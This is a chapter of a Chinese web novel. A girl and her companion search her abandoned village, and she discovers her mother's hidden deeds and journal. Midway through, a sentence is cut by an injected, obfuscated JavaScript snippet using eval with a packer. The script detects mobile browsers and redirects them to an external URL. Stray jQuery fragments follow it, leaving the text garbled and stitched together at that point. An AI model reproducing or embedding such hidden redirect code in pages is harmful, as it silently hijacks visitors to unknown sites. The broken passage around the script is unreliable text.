王学究家里被翻动过的痕迹比其他人家要明显一些,武群说出自己之前的猜测,恐怕是因为那些人要找的东西就在这里。
武群叽里呱啦半天,也不知这番话有没有传到对面人的耳朵里。
江李依旧在看那一小份破布:“布里包过什么东西?为什么会有这么统一的布作为包裹?”
武群学着江李蹲下来:“有听到我刚刚说的话吗?”
“听到了。”
“那你为什么不回话?”
江李这才将视线转移到身旁的人:“既然都知道这块布里的东西是那些官兵要找到的东西,你刚刚的猜测不是显而易见吗?”
“你又怼我!”
“别太脆弱。”江李这回头也不抬,继续观察地面的其他碎屑。
谁知武群竟然离开了。
地毯式搜索了许久,江李发现全屋里真的只剩下这个布片。她觉得所有线索都指向这块布以及里面的东西。
“对了,给你看我娘给我的布包——”江李一抬头,发现身旁竟空无一人:“武群!武群!”
喊了两嗓子,无人应答。
江李攥着布片走出门,又朝外面喊了两嗓子。
依旧无人应答。
“跑哪去了?”江李这才想起自己刚刚沉迷于自己的推理,完全没有顾及自己都说了什么。
人家好心陪你去找家人,你还那么不耐烦!
江李敲了自己脑壳两下,将布片收好又去找人。
她不想独自面对这个空无一人的村子。
江李沿着主路将石甘村绕了一遍,依旧没有武群的身影。
然而此时已经日暮西山。晚秋时节,天黑的很快,凉的也快。
江李在村口的大石头上坐着,一条腿支在上面,大/腿和腹部的接触会让她好受些。
“难不成他真的走了?”
江李自言自语后,开始考虑自己要不要翻过山回到来时的小院里。
可是此时的光线已经很暗了,江李本身也不需要逃命,因此也没有非要在夜色中走山路的必要。
二人出门前也只是吃了早饭,一天的折腾已经让江李的胃部有些胀痛,仿佛此时有一根针扎上去,就能迅速让江李瘪掉。
一手按压胃部,另一只手举着顶端绕了圈圈布料的粗木。
随着她从口中吐/出一缕气,粗木的上端燃起了点火苗。
江李今晚只能在石甘村住下。
突然她感觉头顶有什么东西砸了下来,刚抬头去瞧,一豆大的雨滴砸到江李的眼皮上。
“真是‘屋漏偏逢连夜雨’啊!”江李欲哭无泪,只能拼了命地往家里跑。
冲进自家小院,江李发觉有些不对劲。
为何自己家里这么亮?
由于那些官兵对村子的搜查以及太久没有人清理,一路上她都在关注脚下的碎石,防止自己跑得太快被绊倒。现在她才有机会抬头去瞧——
雨幕中,她看到自家正对院门的房间门口,伫立着一个挺拔的人影。
武群正站在自家房间里,抱着臂,就这样看着江李狼狈的身影。
气得江李冲上去给了他一拳。
“你去哪里了!”
武群猝不及防被打,嘴巴依旧很硬:“你也太脆弱了,怎么我不在就这么狼狈?我就站在你家房顶上,是你没看到我!”
江李的怒气瞬间到达头顶。
她听出了武群是在为她随口一说的话赌气,也知道自己刚刚确实沉浸在自己的世界中没有顾及对方。可这显然不是让她绕圈跑了一个时辰外加淋雨的借口!
“就因为我没有及时关注你,你就不说一句话把我扔下?你就看着我到处跑、到处去找你可你却无动于衷?”
若是天气好,而且江李不是处于饥饿状态,那她还会想要哄一哄武群。可惜不是这样。
武群依旧梗着脖子:“鞭子不是打在你身上你是不知道疼的。不理你是为了让你体验一下被人忽视的痛苦!”
“凡事都有个轻重缓急吧?”江李平复了下心情,想要引导对方不要再和她对抗了。
“轻重缓急?我一个大活人在这里,你还非得……”知道自己失言,武群立即止住了话头。
江李也猜出他想要说的下一句是什么,可她已经没有心情和他继续吵架,而且她觉得自己的娘和阿婆一定还活着,不想在这方面和他多争口舌。
“对不清,刚刚是我错了。”江李现在只想停止争吵,她讨厌争吵:“今晚就先将就住这里。你有吃的吗?”
武群哑了火,说话变得轻声细语:“我这只有两个饼子,早上的。”
江李跑到自家厨房看了看,还有一些面粉,以及一缸阿婆一年前封好的腌萝卜。
“没有别的了,凑合吃吧。”
*
填饱肚子后,江李直接把武群分配到了自己阿婆的房间。
而她回到自己的小房间,整理自己的之前没来得及拿的东西。
将衣柜搬空,她又坐到了自己的书桌旁,翻阅起自己过去写的作业。
字体歪歪扭扭,几十张黄麻纸上都写着《咏鹅》的内容,可每一张的字体并不一样。
欣赏了会,江李还是把这些收进了自己的识戒中。
“咚咚咚。”
门口传来动静,江李打开门,就见一张可怜兮兮的帅脸。
“怎么了?”江李有点紧张,不自觉咽了口口水,还以为是对方碰见了什么不该见的。
武群:“床板好硬。”
江李很快反应过来,阿婆喜欢睡硬床板,因此她的房间床榻都是硬邦邦。
“你克服一下呢。”江李轻声细语,她不想给他换到她娘的房间。
“我们可以换一下么?”武群睁大了眼睛,用自己水汪汪的大眼对江李进行柔化攻击。
江李:“你想换哪?”
武群羞涩一笑:“我想住你的房间,看起来很干净。”
好小子!你打的这个注意!
江李想要把他推出门外,可武群却及时用脚别住了门:“我今天还在后山墓地发现了一些东西,明早就带你去看,求求了,我真的很想睡个好觉———江李~”
江李皱着眉头,十分嫌弃地放开了手:“你发现了什么?”
“明天!我明天一定带你去看!”
沉默半晌,江李敞开门:“好吧,那我就去我娘房间睡。”
武群刚美滋滋地踏进房间,就被江李叫住:“警告你,要睡觉就好好睡,别再来烦我。”
“没问题!”武群这下开心了,像摸着玉制的大门一般,小心翼翼地合上,生怕给门关坏了。
江李十分无语地走向娘的房间。
她正好想要印证白天的猜测。
下午的时候,她同武群说“我觉得,我娘也是从京城来的”,可是武群却完全没有想要和她讨论这件事真
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733535|182151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实性的意思,而是向她介绍武群自己见过的京城内达官贵人常用布料。
加之后面武群的突然消失,江李更是歇了想要和他分享的心思。
在烛光的映照下,她轻轻从识戒中取出包裹,并将它拆开,放到桌面。
她从未打开过。
以前总是看娘悄悄在房间里看什么东西,江李想要凑近些就被娘用残酷的“一指禅”戳出来,只能看清是个布包。
这也让江李养成了习惯,即使娘让自己带着的这个包裹逃离石甘村,也不曾打开过这个重要的包裹。
如今娘的下落未知,她才能有机会打开看。
里面居然是地契和房契!
江李睁大了眼睛。
她细细查看了,她娘居然有五间铺子!还不是这附近的,是京城的!
江李被包裹里的东西又一次惊住,这次她发现了娘的笔记。
江李以为娘从不爱诗词歌赋,也应当不会写文章。可她翻开手札,里面竟然是大段的文字,里面记录了娘在京城做过的桩桩件件,还记录了事件发生的时间在十七年前。
她娘曾经竟然是京城玲珑阁的舞女,曾经为达官贵人做情报线人!
“娘,您真的深藏不露。”
若是她娘此时此刻就在江李面前,一定会高傲地昂起头说:“也不看看你娘是谁!”
江李摸着手札上的字迹,一页一页翻过去。
在尾页,留有一行字。
【从今天起,我就不再叫小桃红了,我叫李逢春。
怀盛元年·春】
*
“快点快点!别磨蹭!我们要换船了!”
官兵头子在船舷上站着,吆喝着。
石甘村剩下的村民也只能照办,一个接着一个,跟着官兵们的指引下船。
她们手上脚上都绑着麻绳,一个接着一个,都不能掉队。
官兵头子看着站在最后的李芬顺:“说你呢,别墨迹!”
李芬顺转过头瞪了他一眼,给官兵头子瞪得竟然有些亲切:“大姐啊,你别这样看我,我们也都是奉命行事。”
李芬顺不再看他,继续磨磨蹭蹭向前走。
她们之前乘的船出了些问题,不知道是哪个不长眼的水鸟把船的下面撞破了个口子,呼呼往床舱里灌水。
站在码头上,所有人都忍不住伸了个懒腰。
她们离开陆地已经半个多月了,这次托水鸟的福,终于踩到了实处。
十几名官兵围着村民们站着,生怕跑了一个。
李芬顺却突然开口:“我饿了,我要吃东西。”
官兵头子气笑了:“上船再吃不行吗?”
“不行,怎么?不让老娘吃?”
李芬顺眼珠都快瞪出来了,官兵们也觉得此人是个狠角色,生怕她把对丈夫的不满发泄到他们这些拿固定俸禄的小兵身上。
他立即派了个最壮的兵跟着李芬顺。
李芬顺走到卖馄饨的摊子前,一屁/股坐下来。
跟着她的兵也跟着坐下了,要了一碗小馄饨。
等到馄饨上了桌,李芬顺挖了一/大勺辣椒油进碗里,随后立即吃起来。
“老板你过来!”李芬顺吃着吃着放下筷子,十分不满地叫老板过去。
年轻的黄衣女子走过来:“我就是老板,客官你有什么事?”
李芬顺十分不满地敲敲碗边:“这辣椒不够辣!不够味儿!”